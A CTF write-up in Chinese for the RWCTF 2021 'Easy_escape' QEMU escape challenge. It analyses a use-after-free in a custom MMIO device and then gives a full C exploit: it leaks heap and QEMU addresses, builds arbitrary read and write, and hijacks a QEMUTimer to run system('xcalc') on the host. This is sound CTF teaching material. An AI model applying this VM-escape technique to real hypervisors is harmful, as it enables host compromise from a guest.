RWCTF2021 Easy_escape

Easy_Escape是RealWorld CTF 2021中的qemu逃逸题目,它实现了一个名为fun的设备,有两个操作:fun_mmio_write和fun_mmio_read。

漏洞分析

fun_mmio_readfun_mmio_write 内容如下:

uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
{
  uint32_t_0 val; // [rsp+20h] [rbp-10h]

  val = -1;
  switch ( addr )
  {
    case 0uLL:
      val = opaque->size;
      break;
    case 4uLL:
      val = opaque->addr;
      break;
    case 8uLL:
      val = opaque->result_addr;
      break;
    case 0xCuLL:
      val = opaque->idx;
      break;
    case 0x10uLL:
      if ( opaque->req )
        handle_data_write(opaque, opaque->req, opaque->idx);
      break;
    default:
      return val;
  }
  return val;
}

void __cdecl fun_mmio_write(FunState *opaque, hwaddr addr, uint32_t_0 val, unsigned int size)
{
  switch ( addr )
  {
    case 0uLL:
      opaque->size = val;
      break;
    case 4uLL:
      opaque->addr = val;
      break;
    case 8uLL:
      opaque->result_addr = val;
      break;
    case 0xCuLL:
      opaque->idx = val;
      break;
    case 0x10uLL:
      if ( opaque->req )
        handle_data_read(opaque, opaque->req, opaque->idx);
      break;
    case 0x14uLL:
      if ( !opaque->req )
        opaque->req = create_req(opaque->size);
      break;
    case 0x18uLL:
      if ( opaque->req )
        delete_req(opaque->req);
      opaque->req = 0LL;
      opaque->size = 0;
      break;
    default:
      return;
  }
}

其中 handle_data_readhandle_data_write 函数内容如下,两个函数均调用了 put_result 函数。

void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}

void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}

其中 dma_memory_readdma_memory_write 定义如下:

static inline int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len)
static inline int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len)

dma_memory_read 是将 addr 处的数据复制到 buf 中,dma_memory_write 是将 buf 处的数据复制到 addr 中。其中 addr 是虚拟机中的物理地址。

在实际调试过程中发现 put_result 函数会再次调用到 handle_data_write 函数。
在这里插入图片描述调用链如下:

uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
    handle_data_write(opaque, opaque->req, opaque->idx);
        put_result(fun, 1u);
            dma_memory_write(fun->as, fun->result_addr, &result, 4uLL);
                dma_memory_rw(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
                    dma_memory_rw_relaxed(as, addr, buf, len, dir);
                        address_space_rw(as, addr, MEMTXATTRS_UNSPECIFIED, buf, len, dir == DMA_DIRECTION_FROM_DEVICE);
                            address_space_write(as, addr, attrs, buf, len);
                                flatview_write(fv, addr, attrs, buf, len);
                                    flatview_write_continue(fv, addr, attrs, buf, len, addr1, l, mr);
                                        memory_region_dispatch_write(mr, addr1, val, size_memop(l), attrs);
                                            access_with_adjusted_size(addr, &data, size, mr->ops->impl.min_access_size, mr->ops->impl.max_access_size, memory_region_write_accessor, mr, attrs);
                                                memory_region_write_accessor(mr, addr + i, value, access_size, i * 8, access_mask, attrs)
                                                    mr->ops->write(mr->opaque, addr, tmp, size);

并且再次调用 handle_data_writeaddr 参数为 opaque->result_addr 减掉 mmio 内存的地址。

另外当 addr = 0x18 时会释放 req 相关结构。

void __cdecl delete_req(FunReq *req)
{
  uint32_t_0 i; // [rsp+18h] [rbp-8h]
  uint32_t_0 t; // [rsp+1Ch] [rbp-4h]

  t = (req->total_size >> 10) + 1;
  for ( i = 0; i < t; ++i )
    free(req->list[i]);
  free(req);
}

    case 0x18uLL:
      if ( opaque->req )
        delete_req(opaque->req);
      opaque->req = 0LL;
      opaque->size = 0;
      break;

因此不难想到可以通过设置 opaque->result_addrmmio_addr + 0x18 然后调用 handle_data 函数来实现 UAF 。

漏洞利用

create_req 会创建 req 和 ⌊ opaque -> size 2 12 ⌋ + 1 \left \lfloor \frac{\text{opaque -> size}}{2^{12}} \right \rfloor +1 ⌊212opaque -> size​⌋+1 个 chunk ,每个chunk 大小为 0x410 。

FunReq *__cdecl create_req(uint32_t_0 size)
{
  uint32_t_0 i; // [rsp+10h] [rbp-10h]
  uint32_t_0 t; // [rsp+14h] [rbp-Ch]
  FunReq *req; // [rsp+18h] [rbp-8h]

  if ( size > 0x1FBFF )
    return 0LL;
  req = (FunReq *)malloc(0x400uLL);
  memset(req, 0, sizeof(FunReq));
  req->total_size = size;
  t = (req->total_size >> 10) + 1;
  for ( i = 0; i < t; ++i )
    req->list[i] = (char *)malloc(0x400uLL);
  return req;
}

    case 0x14uLL:
      if ( !opaque->req )
        opaque->req = create_req(opaque->size);
      break;

FunReq 结构体定义如下:

00000000 FunReq struc ; (sizeof=0x400, align=0x8, copyof_4859)
00000000 total_size dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 list dq 127 dup(?)                      ; offset
00000400 FunReq ends

因此我们创建 req 并在 req.list 中申请三个 chunk 。
在这里插入图片描述
fun_mmio_read->handle_data_write->dma_memory_write_9 时发生 UAF,此时读取的 req.list[0] 中的数据实际上是 tcache_pthread_struct 中的数据,因此可以泄露 req 的地址,另外 tcache_pthread_struct 之后有一个指向存放 qemu 地址的内存的指针也可以泄露。
在这里插入图片描述
再次创建 req
在这里插入图片描述

之后 fun_mmio_write->handle_data_read->dma_memory_read_9 时 UAF 修改 req.list[1]fd 指向 req
在这里插入图片描述

再次创建 reqreq.list[2] 指向 req 。此时实现了 req 的自写,其中 lreq.ist[0] 为 NULL 时因为 tcache 在取出 chunk 时会将 key 字段置 0 。
在这里插入图片描述
我们可以通过 req 自写将 list[0] 指向目标地址从而实现任意地址读写。之后就是常规的泄露 qemu 基址,改 main_loop_tlg 指向的 QEMUTimerList 实现逃逸。

exp

#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

#define PAGE_SIZE 0x1000

size_t vaddr_to_paddr(size_t vaddr) {
    int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
    lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
    size_t data;
    read(pagemap_fd, &data, 8);
    close(pagemap_fd);
    return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}

#define SIZE 0x0
#define ADDR 0x4
#define RESULT_ADDR 0x8
#define INDEX 0xC
#define HANDLE_DATA 0x10
#define CREATE_REQ 0x14
#define DELETE_REQ 0x18
void *mmio_mem;

void mmio_write(uint32_t addr, uint32_t value) {
    *((uint32_t *) (mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr) {
    return *((uint32_t *) (mmio_mem + addr));
}

char *buf;
size_t buf_paddr;
size_t req_addr;
char cmd[] = "xcalc";

void arbitrary_address_read(size_t address) {
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(INDEX, 2);
    *(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
    *(size_t *) (buf + (2 << 10) + 8) = address;
    *(size_t *) (buf + (2 << 10) + 0x10) = 0;
    *(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
    mmio_write(HANDLE_DATA, 0x114514);
    mmio_write(INDEX, 0);
    mmio_read(HANDLE_DATA);
}

void arbitrary_address_write(size_t address) {
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(INDEX, 2);
    *(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
    *(size_t *) (buf + (2 << 10) + 8) = address;
    *(size_t *) (buf + (2 << 10) + 0x10) = 0;
    *(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
    mmio_write(HANDLE_DATA, 0x114514);
    mmio_write(INDEX, 0);
    mmio_write(HANDLE_DATA, 0x1919810);
}


int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd < 0) {
        perror("[-] failed to open mmio.");
        exit(-1);
    }
    mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem < 0) {
        perror("[-] failed to mmap mmio_mem.");
        exit(-1);
    }

    FILE *resource_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
    if (resource_fd == NULL) {
        perror("[-] failed to open resource.");
        exit(-1);
    }
    size_t mmio_addr;
    fscanf(resource_fd, "%p", &mmio_addr);
    printf("[*] mmio_addr: %p\n", mmio_addr);

    buf = (char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memset(buf, 0, PAGE_SIZE);
    printf("[*] buf vaddr: %p\n", buf);
    buf_paddr = vaddr_to_paddr((size_t) buf);
    printf("[*] buf paddr: %p\n", buf_paddr);

    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(ADDR, buf_paddr);
    mmio_write(INDEX, 0);
    mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_read(HANDLE_DATA);
    qword_dump("leak req addr from tcache_perthread_struct (req->list[0])", buf, 0x400);
    req_addr = *(size_t *) (buf + 0x278);
    printf("[+] req_addr: %p\n", req_addr);
    size_t leak_addr_addr = *(size_t *) (buf + 0x358);
    printf("[+] leak_addr addr: %p\n", leak_addr_addr);

    *(size_t *) (buf + (1 << 10)) = req_addr;
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(ADDR, buf_paddr);
    mmio_write(INDEX, 1);
    mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_write(HANDLE_DATA, 0x1919810);

    mmio_write(RESULT_ADDR, 1);
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_write(INDEX, 2);

    arbitrary_address_read(leak_addr_addr);
    size_t elf_base = *(size_t *) buf - 0x6761b0;
    printf("[+] elf base: %p\n", elf_base);

    size_t system_plt = elf_base + 0x2b8a74;
    printf("[*] system@plt addr: %p\n", system_plt);

    size_t main_loop_tlg_addr = elf_base + 0x112cd40;
    printf("[*] main_loop_tlg addr: %p\n", main_loop_tlg_addr);

    arbitrary_address_read(main_loop_tlg_addr);

    size_t QEMUTimer_addr = *(size_t *) (buf + 8);
    printf("[+] QEMUTimer addr: %p\n", QEMUTimer_addr);

    arbitrary_address_read(QEMUTimer_addr);
    *(size_t *) (buf + 0x58) = system_plt;
    *(size_t *) (buf + 0x60) = QEMUTimer_addr + 0x200;
    strcpy(buf + 0x200, cmd);
    arbitrary_address_write(QEMUTimer_addr);

    return 0;
}

题目及EXP下载

  • 14
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值